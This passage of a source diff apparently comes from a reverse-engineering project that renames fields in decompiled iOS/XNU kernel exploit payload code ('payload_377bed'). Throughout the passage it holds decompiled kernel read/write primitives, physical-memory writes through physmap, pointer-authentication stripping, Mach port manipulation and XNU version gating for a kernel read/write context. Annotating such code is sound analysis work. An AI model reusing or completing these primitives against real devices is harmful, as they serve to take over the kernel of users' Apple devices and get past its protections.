goto LABEL_19;
}
v12 = -1;
@@ -39339,7 +39337,7 @@ __int64 __fastcall sub_36160(struct_krwCtx *a1, unsigned int a2, __int64 *a3)
v7 = result;
if ( result )
{
result = kread64_outptr(a1, result + a1->int168 * a2, (unsigned __int64 *)&v7);
result = kread64_outptr(a1, result + a1->stride168 * a2, (unsigned __int64 *)&v7);
if ( (_DWORD)result )
{
*a3 = v7;
@@ -39720,13 +39718,13 @@ LABEL_72:
{
__buf = 0;
v28 = address + name[1] * v27;
__memcpy_chk(&__buf, (const void *)v28, a1->int168, 8u);
__memcpy_chk(&__buf, (const void *)v28, a1->stride168, 8u);
if ( __buf )
{
__buf = krw_xpac_vaddr_2(a1, __buf);
if ( __buf == a2 )
{
v29 = *(_DWORD *)(v28 + a1->int168);
v29 = *(_DWORD *)(v28 + a1->stride168);
if ( (v29 & 0x10000) != 0 )
break;
}
@@ -39775,10 +39773,10 @@ LABEL_54:
if ( !v36 )
return 163884;
v37 = v36;
v38 = a1->int168;
v38 = a1->stride168;
if ( !kread32_outptr((__int64)a1, a2, &v48) )
return 163855;
TRACE_PORTS("sub_36480 notif prep ctx=%llx target=%llx name=%x self_port=%llx off=%x ptr=%llx bits=%x int168=%d\n",
TRACE_PORTS("sub_36480 notif prep ctx=%llx target=%llx name=%x self_port=%llx off=%x ptr=%llx bits=%x stride168=%d\n",
(unsigned long long)a1,
(unsigned long long)a2,
name[0],
@@ -39961,7 +39959,7 @@ _QWORD *__fastcall sub_36C10(struct_krwCtx *a1, unsigned int a2)
if ( kread64_outptr(a1, v11 + 16, &v13)
&& kread64_outptr(a1, v13 + 24, &v13)
&& kread64_outptr(a1, v13 + 32, &v13)
&& kread64_outptr(a1, v13 + a1->int168, &v13)
&& kread64_outptr(a1, v13 + a1->stride168, &v13)
&& kread64_outptr(a1, v13 + 24, (unsigned __int64 *)&v12) )
{
v12 = validate_addr((__int64)a1, v12);
@@ -41116,11 +41114,11 @@ __int64 __fastcall sub_38158(struct_krwCtx *a1, __int64 a2, int a3, int a4, __in
}
else
{
v13 = sub_38D60((__int64)a1, a2 & ~a1->qword188, (void *)address, v10, 1);
v13 = sub_38D60((__int64)a1, a2 & ~a1->pageMask, (void *)address, v10, 1);
v9 = v13;
if ( !(_DWORD)v13 )
{
v14 = (a1->qword188 & a2) + address;
v14 = (a1->pageMask & a2) + address;
v15 = v27;
v16 = *(_QWORD *)(v14 + v27);
if ( v16 && !validate_addr((__int64)a1, v16) )
@@ -41129,7 +41127,7 @@ __int64 __fastcall sub_38158(struct_krwCtx *a1, __int64 a2, int a3, int a4, __in
}
else
{
v17 = physwritebuf_direct_mapped(a1, v15 + a2, &v29, a1->int168, 1);
v17 = physwritebuf_direct_mapped(a1, v15 + a2, &v29, a1->stride168, 1);
v9 = v17;
if ( !(_DWORD)v17 )
{
@@ -41296,7 +41294,7 @@ __int64 __fastcall sub_385F4(struct_krwCtx *a1, unsigned __int64 a2)
{
v7 = result;
if ( !kread64_outptr(a1, result, &translation_base)
|| !kread64_outptr(a1, v7 + a1->int168, &translation_delta) )
|| !kread64_outptr(a1, v7 + a1->stride168, &translation_delta) )
{
return 0;
}
@@ -41330,7 +41328,7 @@ __int64 __fastcall sub_386AC(struct_krwCtx *a1, unsigned __int64 a2)
{
v7 = result;
if ( !kread64_outptr(a1, result, &translation_base)
|| !kread64_outptr(a1, v7 + a1->int168, &translation_delta) )
|| !kread64_outptr(a1, v7 + a1->stride168, &translation_delta) )
{
return 0;
}
@@ -41693,7 +41691,7 @@ __int64 __fastcall physwritebuf_direct_mapped(
result = physmap_map_cached(krwCtx, paddr, (__int64)v10);
if ( !(_DWORD)result )
{
memcpy((void *)((krwCtx->qword188 & paddr) + v10[0]), buf, size);
memcpy((void *)((krwCtx->pageMask & paddr) + v10[0]), buf, size);
return physmap_unmap_cached((__int64)krwCtx, (__int64)v10);
}
return result;
@@ -41788,7 +41786,7 @@ uint64_t __fastcall sub_39090(struct_krwCtx *a1, __int64 a2)
__int64 v18; // [xsp+28h] [xbp-28h]
v4 = a1->gap191[681];
v5 = a1->qword188;
v5 = a1->pageMask;
v6 = a2 & ~v5;
if ( v4 )
v7 = v4 == v6;
@@ -41813,7 +41811,7 @@ uint64_t __fastcall sub_39090(struct_krwCtx *a1, __int64 a2)
v14 = 0;
if ( !v13 && v14 != 0 )
{
v16 = a1->qword188;
v16 = a1->pageMask;
a1->gap191[681] = a2 & ~v16;
a1->gap191[682] = v14 & ~v16;
return v14;
@@ -44841,7 +44839,7 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something)
*(_OWORD *)&krwCtx->gap144[12] = oword10;
v10 = *((_QWORD *)&xnuVersion.oword10 + 1);
*(_QWORD *)krwCtx->gap160 = xnuVersion.qword20;
krwCtx->int168 = 8;
krwCtx->stride168 = 8;
mach_port_with_a2 = 163847;
if ( (unsigned __int64)(v10 - XNU_VERSION_PACKED(6153, 0, 103, 0, 0)) > 0xF090EFE400003LL )
return mach_port_with_a2;
@@ -45067,11 +45065,11 @@ LABEL_86:
return mach_port_with_a2;
}
LABEL_87:
v34 = sub_1F114();
v34 = sub_get_page_size();
if ( !v34 )
return 0x28012;
krwCtx->pageSizeOrSomething = v34;
krwCtx->qword188 = (unsigned int)(v34 - 1);
krwCtx->pageMask = (unsigned int)(v34 - 1);
v35 = krwCtx->xnuMajorVersion;
if ( v35 > 8791 )
{
@@ -45360,7 +45358,7 @@ LABEL_233:
v63 = 0;
v61 = 0;
LABEL_255:
st_ino = (__int64 *)((char *)st_ino + krwCtx->int168);
st_ino = (__int64 *)((char *)st_ino + krwCtx->stride168);
if ( (unsigned __int64)st_ino >= *(_QWORD *)&v104.st_uid + v104.st_ino )
return 0;
}
@@ -45451,7 +45449,7 @@ LABEL_267:
v77 = sub_1E45C(krwCtx->gap1921[2]);
if ( !v77 )
return 163866;
if ( !(unsigned int)kreadbuf_last_1(krwCtx, (__int64)v77, krwCtx->int168, &v104) )
if ( !(unsigned int)kreadbuf_last_1(krwCtx, (__int64)v77, krwCtx->stride168, &v104) )
return 163866;
v71 = *(_QWORD *)&v104.st_dev;
if ( (v104.st_dev & 1) == 0 )
@@ -45492,7 +45490,7 @@ LABEL_267:
return 163867;
v88 = variable_addr;
mach_port_with_a2 = 163855;
if ( !kread64_outptr(krwCtx, variable_addr - 2LL * krwCtx->int168, (unsigned __int64 *)&v104) )
if ( !kread64_outptr(krwCtx, variable_addr - 2LL * krwCtx->stride168, (unsigned __int64 *)&v104) )
return mach_port_with_a2;
if ( *(_QWORD *)&v104.st_dev )
goto LABEL_280;
@@ -47482,7 +47480,7 @@ __int64 __fastcall sub_4062C(struct_krwCtx *a1, __int64 a2)
}
}
}
v9 += a1->int168;
v9 += a1->stride168;
if ( v9 >= v10 )
return v2;
}
@@ -47579,7 +47577,7 @@ __int64 __fastcall sub_4087C(
v17 = a4;
v18 = a4;
v19 = a4;
while ( (a1->qword188 & v19) != 0 )
while ( (a1->pageMask & v19) != 0 )
{
v19 -= (unsigned int)a3;
v18 += 1LL - (unsigned int)a3;
@@ -47606,7 +47604,7 @@ LABEL_13:
v22 = sub_1F190();
if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
{
if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22), a1->int168, &v34) )
if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22), a1->stride168, &v34) )
goto LABEL_50;
if ( !validate_addr((__int64)a1, v34) )
{
@@ -47634,7 +47632,7 @@ LABEL_51:
}
if ( (unsigned int)sub_1F190() == v28 )
{
v29 = v34 + (v31 - 1) * a1->int168 + 8;
v29 = v34 + (v31 - 1) * a1->stride168 + 8;
goto LABEL_53;
}
}
@@ -47651,7 +47649,7 @@ LABEL_50:
v14 = v12;
goto LABEL_56;
}
if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22) + 8, a1->int168, &v34) )
if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v22) + 8, a1->stride168, &v34) )
goto LABEL_50;
if ( !validate_addr((__int64)a1, v34) )
goto LABEL_49;
@@ -47695,7 +47693,7 @@ LABEL_36:
if ( !kreadbuf_last_0((__int64)a1, v33 + (unsigned int)(a1->pageSizeOrSomething * v23), 4u, &v31) )
goto LABEL_50;
}
v29 = v34 + (v31 - 1) * a1->int168;
v29 = v34 + (v31 - 1) * a1->stride168;
LABEL_53:
if ( kwritebuf_last_0((__int64)a1, v29, &v32, 4u) )
{
@@ -47764,7 +47762,7 @@ __int64 __fastcall sub_40CBC(
v13 = 708616;
goto LABEL_32;
}
if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v14) + 8, a1->int168, &v28) )
if ( !kreadbuf_last_0((__int64)a1, v27 + (unsigned int)(a1->pageSizeOrSomething * v14) + 8, a1->stride168, &v28) )
goto LABEL_31;
if ( !validate_addr((__int64)a1, v28) )
{
@@ -47813,11 +47811,11 @@ LABEL_31:
goto LABEL_31;
v28 = v29 | ((unsigned __int64)HIDWORD(v28) << 32);
v26 = 0;
if ( !kreadbuf_last_0((__int64)a1, v28 + a1->int168 * v20, a1->int168, &v26) )
if ( !kreadbuf_last_0((__int64)a1, v28 + a1->stride168 * v20, a1->stride168, &v26) )
goto LABEL_31;
if ( validate_addr((__int64)a1, v26 & ~a1->qword188) )
if ( validate_addr((__int64)a1, v26 & ~a1->pageMask) )
{
v26 = (v26 & ~a1->qword188) + (a1->qword188 & v26) * a3;
v26 = (v26 & ~a1->pageMask) + (a1->pageMask & v26) * a3;
v22 = v16 - 1;
v23 = v16 & 0xFFFF0000;
if ( !v17 )
src/payload_377bed/test.m
+3 -3
View File
@@ -28,9 +28,9 @@ typedef struct struct_krwCtx // sizeof=0x1D50
uint8_t gap144[20];
uint64_t someLargeNumber;
uint8_t gap160[8];
int int168;
int stride168;
int gap16C[7];
uint64_t qword188;
uint64_t pageMask;
uint8_t gap190[136];
uint64_t gap190u;
uint8_t gap190_[56];
@@ -56,7 +56,7 @@ typedef struct struct_krwCtx // sizeof=0x1D50
uint64_t gap19211;
uint64_t slideMaybe;
uint64_t gap1921[108];
uint64_t qword1D48;
uint64_t IOKitConnInfo;
} krw_ctx_t;
typedef struct module_vtable module_vtable_t;
src/payload_377bed/tmp/defs.h
+5 -5
View File
@@ -25,9 +25,9 @@
_BYTE gap144[20];
_QWORD someLargeNumber;
_BYTE gap160[8];
int int168;
int stride168;
int gap16C[7];
_QWORD qword188;
_QWORD pageMask;
_BYTE gap190[200];
int isRW;
struct mach_timebase_info timebase;
@@ -36,10 +36,10 @@
uint32_t someInt1;
uint32_t someInt2;
uint64_t gap191[851];
_QWORD qword1D48;
_QWORD IOKitConnInfo;
} struct_krwCtx;
typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 // sizeof=0x74
typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_IOKitConnInfo // sizeof=0x74
{
_BYTE gap0[80];
_QWORD qword50;
@@ -47,7 +47,7 @@
_QWORD qword60;
_QWORD qword68;
_DWORD dword70;
} struct_qword1D48;
} struct_IOKitConnInfo;
typedef struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion // sizeof=0x28
{ // XREF: driver_init2_1/r